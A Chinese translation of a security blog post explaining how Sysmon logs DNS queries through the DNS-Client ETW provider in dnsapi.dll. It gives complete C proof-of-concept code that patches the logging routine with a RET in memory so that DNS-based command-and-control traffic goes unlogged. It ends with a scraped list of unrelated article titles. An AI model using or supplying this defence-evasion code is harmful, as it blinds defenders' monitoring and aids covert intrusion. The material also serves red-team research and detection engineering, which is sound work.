译文声明
本文是翻译文章,文章原作者xpnsec,文章来源:http://blog.xpnsec.com
原文地址:https://blog.xpnsec.com/evading-sysmon-dns-monitoring/

译文仅供参考,具体内容表达以及含义原文为准

0x00 前言
Sysmon在最近更新中添加了一个功能,可以记录DNS事件。这一点对防御方非常有用(呼吁SysInternals团队继续免费添加并提供这类工具),但对攻击方而言,这意味着如果我们的植入后门或者payload尝试通过DNS进行通信,那么蓝队就有可能搜集到相关特征,用来检测攻击行为。
容易受该功能影响的一种场景就是基于DNS的C2通信,其中大量请求会被记录下来,可能导致出师未捷身先死。在某次测试过程中,目标环境中部署了这种机制,因此我想花一点时间了解如何规避这种检测机制。在本文中,我将与大家分享规避Sysmon 10.1的一种方法。
在规避Sysmon之前,我们首先需要搭建测试环境。这里我使用@SwiftOnSecurity的sysmon-config来安装Sysmon,命令如下:sysmon.exe -accepteula -i rules.xml
测试环境搭建完毕并正常运行后,我们可以看到有源源不断的事件被记录下来。过滤Event ID 22,我们可以重点关注“DNS query”(DNS请求)事件,如下所示:

一切准备就绪后,我们可以看下查询请求被记录的原理。
0x01 DNS日志审计原理
为了澄清在规避时可以使用哪些选项,我首先想了解一下底层工作原理。根据其他参考资料,我们知道Sysmon会大量依赖ETW来监控各种行为(比如网络连接)。因此DNS监控很有可能也采用相同方式。如果我们使用如下命令,就能找到第一条线索,表明ETW的确是关键点:
logman -ets

安装Sysmon后,我注意到上图的“Data Collector Set”包含一个“My Event Trace Session”。如果我们进一步分析这个点,可以看到这个数据收集器很有可能负责将DNS数据提供给Sysmon。

继续搜索后,我们可以在各种位置通过Microsoft-Windows-DNS-Client这个事件源来获取关于DNS查询的一些信息。但在使用这种方法之前,我通常喜欢通过对应服务来交叉验证这一点,因此这里我们可以试一下Ghidra。在Ghidra中搜索“My Event Trace Session”后,我们找到了如下函数:

我们在SysMon64.exe中找到了这个函数,其中引用了这个特征(备注:这个函数以及名称与微软官方文档中提供的示例代码非常相似)。在上图中,传递给EnableTraceEx2的第2个参数指向的是如下数据:

这显然与logman输出结果中Microsoft-Windows-DNS-Client的GUID相同({1C95126E-7EEa-49A9-A3FE-A378B03DDB4D})。因此现在我们可以肯定这正是该工具记录DNS查询的方法。接下来,我们需要澄清发起DNS请求时这些日志如何被触发。
0x02 触发相关日志
这里我们试一下常用的DNS API:DnsQuery_A,利用这个API来找到相关ETW数据可能出现的位置。我们显然可以从dnsapi.dll中开始寻找,这也是托管该API的服务程序。将该DLL及对应的PDB载入Ghidra中,我们可以开始查找与ETW有关的一些功能。由于我们已经知道与DNS事件相关的一个GUID,因此可以使用这个特征来寻找出发点。令人惊讶的是,我们的确在DLL中找到了这个GUID,对应的是DNS_CLIENT符号:

如果我们继续跟进,可知McGenEventRegister函数中引用到了DNS_CLIENT

DllMain中会调用该函数,这意味着系统会创建一个句柄(DNS_CLIENT_Context),用来发送相关事件。
为了了解整个DLL中如何使用这个句柄,我们可以创建一个小程序,功能很简单,就是发起DNS查询:#include <Windows.h> #include <WinDNS.h> int main() { DnsQuery_A("http://blog.xpnsec.com", DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, NULL, NULL); }
如果编译该程序并在WinDBG中分析,我们可以添加一个断点,在内存读取DNS_CLIENT_Context时触发该断点,命令如下:
ba r4 DNSAPI!DNS_CLIENT_Context
恢复应用执行后,断点很快就被触发,可以找到如下调用栈:

而我们对应的指令如下:

这些信息意味着DnsApi.dll内部会向Microsoft-Windows-DNS-Client发送事件,这个DLL会加载到攻击者进程中,而该进程我们正好可以控制。
0x03 规避方法
现在我们知道这些事件会从DnsApi.dll内部发出,并且由于该DLL会在我们可控的进程内调用,因此我们可以影响这个过程。这也是我们可以考虑进行patch的一个点。
如何完成这个任务有各种方法,大家可以自己选择。在PoC中,我们选择在运行时patch DNSAPI!McTemplateU0zqxqz,使其不通过EtwEventWriteTransfer发送相关事件,直接返回。大家可以参考如下代码:#include <iostream> #include <Windows.h> #include <WinDNS.h> // Pattern for hunting dnsapi!McTemplateU0zqxqz #define PATTERN (unsigned char*)"x48x89x5cx24x08x44x89x4cx24x20x55x48x8dx6c" #define PATTERN_LEN 14 // Search for pattern in memory DWORD SearchPattern(unsigned char* mem, unsigned char* signature, DWORD signatureLen) { ULONG offset = 0; for (int i = 0; i < 0x200000; i++) { if (*(unsigned char*)(mem + i) == signature[0] && *(unsigned char*)(mem + i + 1) == signature[1]) { if (memcmp(mem + i, signature, signatureLen) == 0) { // Found the signature offset = i; break; } } } return offset; } int main() { DWORD oldProtect, oldOldProtect; printf("DNS Sysmon Bypass POCn by @_xpn_nn"); unsigned char *dll = (unsigned char *)LoadLibraryA("dnsapi.dll"); if (dll == (void*)0) { printf("[x] Could not load dnsapi.dlln"); return 1; } DWORD patternOffset = SearchPattern(dll, PATTERN, PATTERN_LEN); printf("[*] Pattern found at offset %dn", patternOffset); printf("[*] Patching with RETn"); VirtualProtect(dll + patternOffset, 10, PAGE_EXECUTE_READWRITE, &oldProtect); *(dll + patternOffset) = 0xc3; VirtualProtect(dll, 10, oldProtect, &oldOldProtect); printf("[*] Sending DNS Query... should now not be detectedn"); DnsQuery_A("http://blog.xpnsec.com", DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, NULL, NULL); }
成功patch后,如果我们在程序中发起DNS查询请求,可以在不触发任何事件情况下,调用DNS客户端API。整个过程参考此处视频。
0x04 总结
本文给出了规避这种监控机制可以采用的一种方法,深入了解内部工作原理后,希望大家在将来遇到这类日志审计机制时,能够采用类似方法定制payload,成功规避相关事件。
没有任何机制是百分百有效且安全的,如果蓝队小伙伴们想知道自己是否有必要部署这种技术(或者类似技术),可以考虑攻击者在规避这种技术时需要采用的其他方法,考虑后再做决策。

登录安全客 - 有思想的安全新媒体http://www.anquanke.com/,或加入交流群814450983、下载安全客APP来获取更多最新资讯吧~

windows如何添加本机dns记录_如何规避Sysmon DNS监控相关推荐

  1. windows如何添加本机dns记录_运维必看!超清晰的 DNS 原理入门指南

    来源:阮一峰的网络日志 作者:阮一峰 链接:http://www.ruanyifeng.com/blog/2016/06/dns.html DNS 是互联网核心协议之一.不管是上网浏览,还是编程开发, ...

  2. java获取dns记录_java-使用JNDI获取DNS SRV记录

    以下内容之一:dns.server.com不是有效的DNS服务器,没有_sip._udp的SRV记录,DNS服务在端口53(标准DNS端口)上没有响应,或者您的Java代码错误. 要诊断DNS服务器问 ...

  3. windows如何添加本机dns记录_Mac的100个必备技巧,Windows的功能在Mac能用了

    用了这么久的Mac,我不得不感叹苹果的生态确实很强大,甚至在某些体验上比起Windows好上不少,其中笔者最喜欢用的就是Mac的多桌面的功能,在多线程工作时,可以让每一项工作变得清晰.这次我们继续了解 ...

  4. ad域同步其他ldap账号_域渗透——普通用户权限获得DNS记录

    0x00 前言 在之前的文章<域渗透--DNS记录的获取>介绍了域渗透中获得DNS管理员权限后获取DNS记录的方法,而更普遍的情况是只有域普通用户的权限,也需要获得DNS记录. 本文将会参 ...

  5. DNS域名解析服务1(高速缓存dns,dns正向解析,dns正向轮询解析,dns反向解析,dns双向解析)

    域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务.IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址.域名解析就是域名到IP地址的 ...

  6. windows powershell批量添加dns记录

    背景 在windows 桌面局域网某些应用场景,可能需要批量添加DNS记录,完成静态解析,操作对象可能是域环境或局域网内的DNS服务器: 操作 1.新建txt文件,编辑,输入以下内容: #dns se ...

  7. 给网站添加IPv6 DNS记录

    一. 1) 使6box提供的DNS64服务,解析出自己网站对应的IPv6域名 Windows: Win+R打开运行,输入cmd,打开命令提示符,输入以下命令 Nslookup www.6box.cn  ...

  8. linux dns 刷新_如何为Windows和Linux操作系统刷新DNS?

    linux dns 刷新 Operating systems like Windows, Linux, BSD runs some mechanisms to cache DNS records in ...

  9. windows之DNS7种资源记录和flushdns命令清除DNS缓存以及nslookup解析域名和ipconfig/all命令查看网络配置使用总结

    1.DNS7种资源记录 DNS分为正向查找区域和反向查找区域,然后在分为,主要,辅助,存根区域,在这些区域里,又存在着很多的记录,今天,就让我们来看看这些记录: 1,A记录 A记录也称为主机记录,是使 ...

最新文章

  1. python语言中文社区-python中用中文
  2. 表的插入、更新、删除、合并操作_10_仅复制表结构
  3. netbeans调试_从NetBeans运行和调试WildFly Swarm应用程序
  4. LeetCode 133. 克隆图(图的BFS/DFS)
  5. 如何将学术经历整合为求职简历?
  6. 《人月神话》读后感一
  7. oracle11g trc 文件,Oracle11g11.2.0.1设置HuagePage导致TRC变大变多
  8. 【LibreOJ109】【模板】并查集
  9. 计算机辅助翻译软件差异,两款计算机辅助翻译软件的比较
  10. 怎么换c语言程序窗口背景图,vc++如何给窗体添加背景图片
  11. linux定时器原理
  12. 【PCIe 实战】SNPS PCIe 开启 SRIS mode
  13. 想改行,学什么技术能看到未来?
  14. Ubuntu安装字体
  15. 基于C#和OpenVINO在英特尔独立显卡上部署PP-TinyPose模型
  16. oracle imp exclound,Ce este o bază de date cloud | Oracle România
  17. python有n元人民币、其中有10元的_Python笔记-古灵阁小精灵金加隆金币兑换人民币...
  18. 如何在Win10日历便签中设置添加定时提醒和活动
  19. HTML+CSS期末大作业 中国传统美食网站设计 节日美食13页 html5网页设计作业代码 html制作网页案例代码 html大作业网页代码
  20. LinkedList(链表)模仿先进先出或者先进后出

热门文章

  1. 浅析 SpringMVC 中返回对象的循环引用问题
  2. 某大厂程序员抱怨:“大厂镀金”是鬼话!从大厂裸辞后,面阿里、字节全都挂掉,连货拉拉都不要自己!...
  3. 大神程序员几行代码增粉 100W 最后入狱,附源码。
  4. 这篇实战攻略,带你轻松入门Elastic search
  5. 再见了Spring Cloud!这个架构有点厉害,甚至干掉了Dubbo!
  6. 全网最细 | 21张图带你领略集合的线程不安全
  7. 阿里CEO张勇放话,90%产品岗将由技术产生,不懂技术的产品人被out了吗?
  8. 大咖说:出道十五载,认知五迭代
  9. CPU飙高,频繁GC,怎么排查?
  10. 让人欲罢不能的Feed流系统是如何设计的?